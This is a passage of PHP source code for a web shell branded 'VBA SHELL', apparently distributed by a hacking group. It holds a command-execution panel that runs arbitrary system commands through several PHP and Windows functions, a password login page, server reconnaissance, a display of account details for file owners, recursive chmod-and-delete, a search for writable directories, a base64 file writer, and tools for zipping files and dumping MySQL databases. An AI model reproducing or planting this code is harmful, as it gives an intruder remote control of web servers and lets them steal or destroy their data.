1513 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1514 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1515 p('</p>');
1516 formfoot();
1517
1518 if ($command) {
1519 p('<hr width="100%" noshade /><pre>');
1520 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1521 $wsh = new COM('WScript.shell');
1522 $exec = $wsh->exec('cmd.exe /c '.$command);
1523 $stdout = $exec->StdOut();
1524 $stroutput = $stdout->ReadAll();
1525 echo $stroutput;
1526 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1527 $descriptorspec = array(
1528 0 => array('pipe', 'r'),
1529 1 => array('pipe', 'w'),
1530 2 => array('pipe', 'w')
1531 );
1532 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1533 if (is_resource($process)) {
1534 fwrite($pipes[0], $command."\r\n");
1535 fwrite($pipes[0], "exit\r\n");
1536 fclose($pipes[0]);
1537 while (!feof($pipes[1])) {
1538 echo fgets($pipes[1], 1024);
1539 }
1540 fclose($pipes[1]);
1541 while (!feof($pipes[2])) {
1542 echo fgets($pipes[2], 1024);
1543 }
1544 fclose($pipes[2]);
1545 proc_close($process);
1546 }
1547 } else {
1548 echo(execute($command));
1549 }
1550 p('</pre>');
1551 }
1552}//end shell
1553
1554elseif ($action == 'phpenv') {
1555 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1556 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1557 !$dis_func && $dis_func = 'No';
1558 $info = array(
1559 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1560 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1561 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1562 4 => array('Server OS',PHP_OS),
1563 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1564 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1565 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1566 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1567 9 => array('The file path',__FILE__),
1568
1569 10 => array('PHP Version',PHP_VERSION),
1570 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1571 12 => array('Safe Mode',getcfg('safe_mode')),
1572 13 => array('Administrator',$adminmail),
1573 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1574 15 => array('enable_dl',getcfg('enable_dl')),
1575 16 => array('display_errors',getcfg('display_errors')),
1576 17 => array('register_globals',getcfg('register_globals')),
1577 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1578 19 => array('memory_limit',getcfg('memory_limit')),
1579 20 => array('post_max_size',getcfg('post_max_size')),
1580 21 => array('upload_max_filesize',$upsize),
1581 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1582 23 => array('disable_functions',$dis_func),
1583 );
1584
1585 if($phpvarname) {
1586 m($phpvarname .' : '.getcfg($phpvarname));
1587 }
1588
1589 formhead(array('title'=>'Server environment'));
1590 makehide('action','phpenv');
1591 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1592 formfooter();
1593
1594 $hp = array(0=> 'Server', 1=> 'PHP');
1595 for($a=0;$a<2;$a++) {
1596 p('<h2>'.$hp[$a].' »</h2>');
1597 p('<ul class="info">');
1598 if ($a==0) {
1599 for($i=1;$i<=9;$i++) {
1600 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1601 }
1602 } elseif ($a == 1) {
1603 for($i=10;$i<=23;$i++) {
1604 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1605 }
1606 }
1607 p('</ul>');
1608 }
1609}//end phpenv
1610
1611else {
1612 m('Undefined Action');
1613}
1614
1615?>
1616</td></tr></table>
1617<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1618 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1619 Copyright (C) 2004-2010 <B>[S4T]</B> - Develop by <a href=http://fernando.vn target=_blank><B>Fernando</B></a> - <B>VBA TEAM</B> All Rights Reserved.
1620</div>
1621</body>
1622</html>
1623
1624<?php
1625
1626/*======================================================
1627Show info shell
1628======================================================*/
1629
1630function m($msg) {
1631 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1632 echo $msg;
1633 echo '</div>';
1634}
1635function scookie($key, $value, $life = 0, $prefix = 1) {
1636 global $admin, $timestamp, $_SERVER;
1637 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1638 $life = $life ? $life : $admin['cookielife'];
1639 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1640 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1641}
1642function multi($num, $perpage, $curpage, $tablename) {
1643 $multipage = '';
1644 if($num > $perpage) {
1645 $page = 10;
1646 $offset = 5;
1647 $pages = @ceil($num / $perpage);
1648 if($page > $pages) {
1649 $from = 1;
1650 $to = $pages;
1651 } else {
1652 $from = $curpage - $offset;
1653 $to = $curpage + $page - $offset - 1;
1654 if($from < 1) {
1655 $to = $curpage + 1 - $from;
1656 $from = 1;
1657 if(($to - $from) < $page && ($to - $from) < $pages) {
1658 $to = $page;
1659 }
1660 } elseif($to > $pages) {
1661 $from = $curpage - $pages + $to;
1662 $to = $pages;
1663 if(($to - $from) < $page && ($to - $from) < $pages) {
1664 $from = $pages - $page + 1;
1665 }
1666 }
1667 }
1668 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1669 for($i = $from; $i <= $to; $i++) {
1670 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1671 }
1672 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1673 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1674 }
1675 return $multipage;
1676}
1677// Login page
1678function loginpage() {
1679?>
1680<html>
1681<head>
1682
1683<body bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
1684
1685 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1686<title>VBA SHELL - Develop by VBATEAM[dot]NET</title>
1687<style type="text/css">
1688A:link {text-decoration: none; color: green }
1689A:visited {text-decoration: none;color:red}
1690A:active {text-decoration: none}
1691A:hover {text-decoration: underline; color: green;}
1692input, textarea, button
1693{
1694 font-size: 9pt;
1695 color: #ccc;
1696 font-family: verdana, sans-serif;
1697 background-color: #202020;
1698 border-left: 1px solid #74A202;
1699 border-top: 1px solid #74A202;
1700 border-right: 1px solid #74A202;
1701 border-bottom: 1px solid #74A202;
1702}
1703
1704</style>
1705
1706 <BR><BR>
1707<div align=center >
1708<fieldset style="border: 1px solid rgb(69, 69, 69); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt"><legend><font color=red><B>Login</b></font></legend>
1709
1710<div>
1711<font color=gray>
1712<font color=yellow>==[ <B>VBA SHELL</B> ]== </font><BR><BR>
1713
1714<form method="POST" action="">
1715 <span style="font:10pt tahoma;">Password: </span><input name="password" type="password" size="20">
1716 <input type="hidden" name="doing" value="login">
1717 <input type="submit" value="Login">
1718 </form>
1719<BR>
1720<?php
1721echo "".$err_mess."";
1722?>
1723
1724 <B><font color=red>
1725<a href=http://vbateam.net target=_blank>VBA TEAM - HACKING - SECURITY</a><BR></b>
1726
1727
1728
1729
1730
1731</div>
1732
1733
1734 </fieldset>
1735
1736
1737
1738</head>
1739</html>
1740
1741
1742<?php
1743 exit;
1744
1745}//end loginpage()
1746
1747function execute($cfe) {
1748 $res = '';
1749 if ($cfe) {
1750 if(function_exists('exec')) {
1751 @exec($cfe,$res);
1752 $res = join("\n",$res);
1753 } elseif(function_exists('shell_exec')) {
1754 $res = @shell_exec($cfe);
1755 } elseif(function_exists('system')) {
1756 @ob_start();
1757 @system($cfe);
1758 $res = @ob_get_contents();
1759 @ob_end_clean();
1760 } elseif(function_exists('passthru')) {
1761 @ob_start();
1762 @passthru($cfe);
1763 $res = @ob_get_contents();
1764 @ob_end_clean();
1765 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1766 $res = '';
1767 while(!@feof($f)) {
1768 $res .= @fread($f,1024);
1769 }
1770 @pclose($f);
1771 }
1772 }
1773 return $res;
1774}
1775function which($pr) {
1776 $path = execute("which $pr");
1777 return ($path ? $path : $pr);
1778}
1779
1780function cf($fname,$text){
1781 if($fp=@fopen($fname,'w')) {
1782 @fputs($fp,@base64_decode($text));
1783 @fclose($fp);
1784 }
1785}
1786
1787// Debug
1788function debuginfo() {
1789 global $starttime;
1790 $mtime = explode(' ', microtime());
1791 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1792 echo 'Processed in '.$totaltime.' second(s)';
1793}
1794
1795// Function connect database
1796function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1797 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1798 p('<h2>Can not connect to MySQL server</h2>');
1799 exit;
1800 }
1801 if($link && $dbname) {
1802 if (!@mysql_select_db($dbname, $link)) {
1803 p('<h2>Database selected has error</h2>');
1804 exit;
1805 }
1806 }
1807 if($link && mysql_get_server_info() > '4.1') {
1808 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1809 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1810 }
1811 }
1812 return $link;
1813}
1814
1815// Array strip
1816function s_array(&$array) {
1817 if (is_array($array)) {
1818 foreach ($array as $k => $v) {
1819 $array[$k] = s_array($v);
1820 }
1821 } else if (is_string($array)) {
1822 $array = stripslashes($array);
1823 }
1824 return $array;
1825}
1826
1827// HTML Strip
1828function html_clean($content) {
1829 $content = htmlspecialchars($content);
1830 $content = str_replace("\n", "<br />", $content);
1831 $content = str_replace(" ", " ", $content);
1832 $content = str_replace("\t", " ", $content);
1833 return $content;
1834}
1835
1836// Chmod
1837function getChmod($filepath){
1838 return substr(base_convert(@fileperms($filepath),10,8),-4);
1839}
1840
1841function getPerms($filepath) {
1842 $mode = @fileperms($filepath);
1843 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1844 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1845 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1846 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1847 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1848 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1849 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1850 else {$type = '?';}
1851
1852 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1853 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1854 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1855 $group['read'] = ($mode & 00040) ? 'r' : '-';
1856 $group['write'] = ($mode & 00020) ? 'w' : '-';
1857 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1858 $world['read'] = ($mode & 00004) ? 'r' : '-';
1859 $world['write'] = ($mode & 00002) ? 'w' : '-';
1860 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1861
1862 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1863 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1864 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1865
1866 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1867}
1868
1869function getUser($filepath) {
1870 if (function_exists('posix_getpwuid')) {
1871 $array = @posix_getpwuid(@fileowner($filepath));
1872 if ($array && is_array($array)) {
1873 return ' / <a href="#" title="User: '.$array['name'].'
1874Passwd: '.$array['passwd'].'
1875Uid: '.$array['uid'].'
1876gid: '.$array['gid'].'
1877Gecos: '.$array['gecos'].'
1878Dir: '.$array['dir'].'
1879Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1880 }
1881 }
1882 return '';
1883}
1884
1885// Delete dir
1886function deltree($deldir) {
1887 $mydir=@dir($deldir);
1888 while($file=$mydir->read()) {
1889 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1890 @chmod($deldir.'/'.$file,0777);
1891 deltree($deldir.'/'.$file);
1892 }
1893 if (is_file($deldir.'/'.$file)) {
1894 @chmod($deldir.'/'.$file,0777);
1895 @unlink($deldir.'/'.$file);
1896 }
1897 }
1898 $mydir->close();
1899 @chmod($deldir,0777);
1900 return @rmdir($deldir) ? 1 : 0;
1901}
1902
1903// Background
1904function bg() {
1905 global $bgc;
1906 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1907}
1908
1909// Get path
1910function getPath($scriptpath, $nowpath) {
1911 if ($nowpath == '.') {
1912 $nowpath = $scriptpath;
1913 }
1914 $nowpath = str_replace('\\', '/', $nowpath);
1915 $nowpath = str_replace('//', '/', $nowpath);
1916 if (substr($nowpath, -1) != '/') {
1917 $nowpath = $nowpath.'/';
1918 }
1919 return $nowpath;
1920}
1921
1922// Get up path
1923function getUpPath($nowpath) {
1924 $pathdb = explode('/', $nowpath);
1925 $num = count($pathdb);
1926 if ($num > 2) {
1927 unset($pathdb[$num-1],$pathdb[$num-2]);
1928 }
1929 $uppath = implode('/', $pathdb).'/';
1930 $uppath = str_replace('//', '/', $uppath);
1931 return $uppath;
1932}
1933
1934// Config
1935function getcfg($varname) {
1936 $result = get_cfg_var($varname);
1937 if ($result == 0) {
1938 return 'No';
1939 } elseif ($result == 1) {
1940 return 'Yes';
1941 } else {
1942 return $result;
1943 }
1944}
1945
1946// Function name
1947function getfun($funName) {
1948 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1949}
1950
1951function GetList($dir){
1952 global $dirdata,$j,$nowpath;
1953 !$j && $j=1;
1954 if ($dh = opendir($dir)) {
1955 while ($file = readdir($dh)) {
1956 $f=str_replace('//','/',$dir.'/'.$file);
1957 if($file!='.' && $file!='..' && is_dir($f)){
1958 if (is_writable($f)) {
1959 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1960 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1961 $dirdata[$j]['dirchmod']=getChmod($f);
1962 $dirdata[$j]['dirperm']=getPerms($f);
1963 $dirdata[$j]['dirlink']=ue($dir);
1964 $dirdata[$j]['server_link']=$f;
1965 $dirdata[$j]['client_link']=ue($f);
1966 $j++;
1967 }
1968 GetList($f);
1969 }
1970 }
1971 closedir($dh);
1972 clearstatcache();
1973 return $dirdata;
1974 } else {
1975 return array();
1976 }
1977}
1978
1979function qy($sql) {
1980 //echo $sql.'<br>';
1981 $res = $error = '';
1982 if(!$res = @mysql_query($sql)) {
1983 return 0;
1984 } else if(is_resource($res)) {
1985 return 1;
1986 } else {
1987 return 2;
1988 }
1989 return 0;
1990}
1991
1992function q($sql) {
1993 return @mysql_query($sql);
1994}
1995
1996function fr($qy){
1997 mysql_free_result($qy);
1998}
1999
2000function sizecount($size) {
2001 if($size > 1073741824) {
2002 $size = round($size / 1073741824 * 100) / 100 . ' G';
2003 } elseif($size > 1048576) {
2004 $size = round($size / 1048576 * 100) / 100 . ' M';
2005 } elseif($size > 1024) {
2006 $size = round($size / 1024 * 100) / 100 . ' K';
2007 } else {
2008 $size = $size . ' B';
2009 }
2010 return $size;
2011}
2012
2013// Zip
2014class PHPZip{
2015 var $out='';
2016 function PHPZip($dir) {
2017 if (@function_exists('gzcompress')) {
2018 $curdir = getcwd();
2019 if (is_array($dir)) $filelist = $dir;
2020 else{
2021 $filelist=$this -> GetFileList($dir);//File list
2022 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2023 }
2024 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2025 else chdir($curdir);
2026 if (count($filelist)>0){
2027 foreach($filelist as $filename){
2028 if (is_file($filename)){
2029 $fd = fopen ($filename, 'r');
2030 $content = @fread ($fd, filesize($filename));
2031 fclose ($fd);
2032 if (is_array($dir)) $filename = basename($filename);
2033 $this -> addFile($content, $filename);
2034 }
2035 }
2036 $this->out = $this -> file();
2037 chdir($curdir);
2038 }
2039 return 1;
2040 }
2041 else return 0;
2042 }
2043
2044 // Show file list
2045 function GetFileList($dir){
2046 static $a;
2047 if (is_dir($dir)) {
2048 if ($dh = opendir($dir)) {
2049 while ($file = readdir($dh)) {
2050 if($file!='.' && $file!='..'){
2051 $f=$dir .'/'. $file;
2052 if(is_dir($f)) $this->GetFileList($f);
2053 $a[]=$f;
2054 }
2055 }
2056 closedir($dh);
2057 }
2058 }
2059 return $a;
2060 }
2061
2062 var $datasec = array();
2063 var $ctrl_dir = array();
2064 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2065 var $old_offset = 0;
2066
2067 function unix2DosTime($unixtime = 0) {
2068 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2069 if ($timearray['year'] < 1980) {
2070 $timearray['year'] = 1980;
2071 $timearray['mon'] = 1;
2072 $timearray['mday'] = 1;
2073 $timearray['hours'] = 0;
2074 $timearray['minutes'] = 0;
2075 $timearray['seconds'] = 0;
2076 } // end if
2077 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2078 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2079 }
2080
2081 function addFile($data, $name, $time = 0) {
2082 $name = str_replace('\\', '/', $name);
2083
2084 $dtime = dechex($this->unix2DosTime($time));
2085 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2086 . '\x' . $dtime[4] . $dtime[5]
2087 . '\x' . $dtime[2] . $dtime[3]
2088 . '\x' . $dtime[0] . $dtime[1];
2089 eval('$hexdtime = "' . $hexdtime . '";');
2090 $fr = "\x50\x4b\x03\x04";
2091 $fr .= "\x14\x00";
2092 $fr .= "\x00\x00";
2093 $fr .= "\x08\x00";
2094 $fr .= $hexdtime;
2095
2096 $unc_len = strlen($data);
2097 $crc = crc32($data);
2098 $zdata = gzcompress($data);
2099 $c_len = strlen($zdata);
2100 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2101 $fr .= pack('V', $crc);
2102 $fr .= pack('V', $c_len);
2103 $fr .= pack('V', $unc_len);
2104 $fr .= pack('v', strlen($name));
2105 $fr .= pack('v', 0);
2106 $fr .= $name;
2107 $fr .= $zdata;
2108 $fr .= pack('V', $crc);
2109 $fr .= pack('V', $c_len);
2110 $fr .= pack('V', $unc_len);
2111
2112 $this -> datasec[] = $fr;
2113 $new_offset = strlen(implode('', $this->datasec));
2114
2115 $cdrec = "\x50\x4b\x01\x02";
2116 $cdrec .= "\x00\x00";
2117 $cdrec .= "\x14\x00";
2118 $cdrec .= "\x00\x00";
2119 $cdrec .= "\x08\x00";
2120 $cdrec .= $hexdtime;
2121 $cdrec .= pack('V', $crc);
2122 $cdrec .= pack('V', $c_len);
2123 $cdrec .= pack('V', $unc_len);
2124 $cdrec .= pack('v', strlen($name) );
2125 $cdrec .= pack('v', 0 );
2126 $cdrec .= pack('v', 0 );
2127 $cdrec .= pack('v', 0 );
2128 $cdrec .= pack('v', 0 );
2129 $cdrec .= pack('V', 32 );
2130 $cdrec .= pack('V', $this -> old_offset );
2131 $this -> old_offset = $new_offset;
2132 $cdrec .= $name;
2133
2134 $this -> ctrl_dir[] = $cdrec;
2135 }
2136
2137 function file() {
2138 $data = implode('', $this -> datasec);
2139 $ctrldir = implode('', $this -> ctrl_dir);
2140 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2141 }
2142}
2143
2144// Dump mysql
2145function sqldumptable($table, $fp=0) {
2146 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2147 $tabledump .= "CREATE TABLE $table (\n";
2148
2149 $firstfield=1;
2150
2151 $fields = q("SHOW FIELDS FROM $table");
2152 while ($field = mysql_fetch_array($fields)) {
2153 if (!$firstfield) {
2154 $tabledump .= ",\n";
2155 } else {
2156 $firstfield=0;
2157 }
2158 $tabledump .= " $field[Field] $field[Type]";
2159 if (!empty($field["Default"])) {
2160 $tabledump .= " DEFAULT '$field[Default]'";
2161 }
2162 if ($field['Null'] != "YES") {
2163 $tabledump .= " NOT NULL";
2164 }
2165 if ($field['Extra'] != "") {
2166 $tabledump .= " $field[Extra]";
2167 }
2168 }
2169 fr($fields);
2170
2171 $keys = q("SHOW KEYS FROM $table");
2172 while ($key = mysql_fetch_array($keys)) {
2173 $kname=$key['Key_name'];
2174 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2175 $kname="UNIQUE|$kname";
2176 }
2177 if(!is_array($index[$kname])) {
2178 $index[$kname] = array();
2179 }
2180 $index[$kname][] = $key['Column_name'];
2181 }
2182 fr($keys);
2183
2184 while(list($kname, $columns) = @each($index)) {
2185 $tabledump .= ",\n";
2186 $colnames=implode($columns,",");
2187
2188 if ($kname == "PRIMARY") {
2189 $tabledump .= " PRIMARY KEY ($colnames)";
2190 } else {
2191 if (substr($kname,0,6) == "UNIQUE") {
2192 $kname=substr($kname,7);
2193 }
2194 $tabledump .= " KEY $kname ($colnames)";
2195 }
2196 }
2197
2198 $tabledump .= "\n);\n\n";
2199 if ($fp) {
2200 fwrite($fp,$tabledump);
2201 } else {
2202 echo $tabledump;
2203 }
2204
2205 $rows = q("SELECT * FROM $table");
2206 $numfields = mysql_num_fields($rows);
2207 while ($row = mysql_fetch_array($rows)) {
2208 $tabledump = "INSERT INTO $table VALUES(";
2209
2210 $fieldcounter=-1;
2211 $firstfield=1;
2212 while (++$fieldcounter<$numfields) {
2213 if (!$firstfield) {
2214 $tabledump.=", ";
2215 } else {
2216 $firstfield=0;
2217 }
2218
2219 if (!isset($row[$fieldcounter])) {
2220 $tabledump .= "NULL";
2221 } else {
2222 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2223 }
2224 }
2225
2226 $tabledump .= ");\n";
2227
2228 if ($fp) {
2229 fwrite($fp,$tabledump);
2230 } else {
2231 echo $tabledump;
2232 }
2233 }
2234 fr($rows);
2235 if ($fp) {
2236 fwrite($fp,"\n");
2237 } else {
2238 echo "\n";
2239 }
2240}
2241
2242function ue($str){
2243 return urlencode($str);
2244}
2245
2246function p($str){
2247 echo $str."\n";
2248}
2249
2250function tbhead() {
2251 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2252}
2253function tbfoot(){
2254 p('</table>');
2255}
2256
2257function makehide($name,$value=''){
2258 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2259}
2260
2261function makeinput($arg = array()){
2262 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2263 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2264 !$arg['type'] && $arg['type'] = 'text';
2265 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2266 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2267 if ($arg['newline']) {
2268 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2269 } else {
2270 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2271 }
2272}
2273
2274function makeselect($arg = array()){
2275 if ($arg['onchange']) {
2276 $onchange = 'onchange="'.$arg['onchange'].'"';
2277 }
2278 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2279 if ($arg['newline']) p('<p>');
2280 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2281 if (is_array($arg['option'])) {
2282 foreach ($arg['option'] as $key=>$value) {
2283 if ($arg['selected']==$key) {
2284 p("<option value=\"$key\" selected>$value</option>");
2285 } else {
2286 p("<option value=\"$key\">$value</option>");
2287 }
2288 }
2289 }
2290 p("</select>");
2291 if ($arg['newline']) p('</p>');
2292}
2293function formhead($arg = array()) {
2294 !$arg['method'] && $arg['method'] = 'post';
2295 !$arg['action'] && $arg['action'] = $self;
2296 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2297 !$arg['name'] && $arg['name'] = 'form1';
2298 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2299 if ($arg['title']) {
2300 p('<h2>'.$arg['title'].' »</h2>');
2301 }
2302}
2303
2304function maketext($arg = array()){
2305 !$arg['cols'] && $arg['cols'] = 100;
2306 !$arg['rows'] && $arg['rows'] = 25;
2307 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2308 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2309}
2310
2311function formfooter($name = ''){
2312 !$name && $name = 'submit';
2313 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
2314 p('</form>');
2315}
2316
2317function formfoot(){
2318 p('</form>');
2319}
2320
2321// Exit
2322function pr($a) {
2323 echo '<pre>';
2324 print_r($a);
2325 echo '</pre>';
2326}
2327
2328?>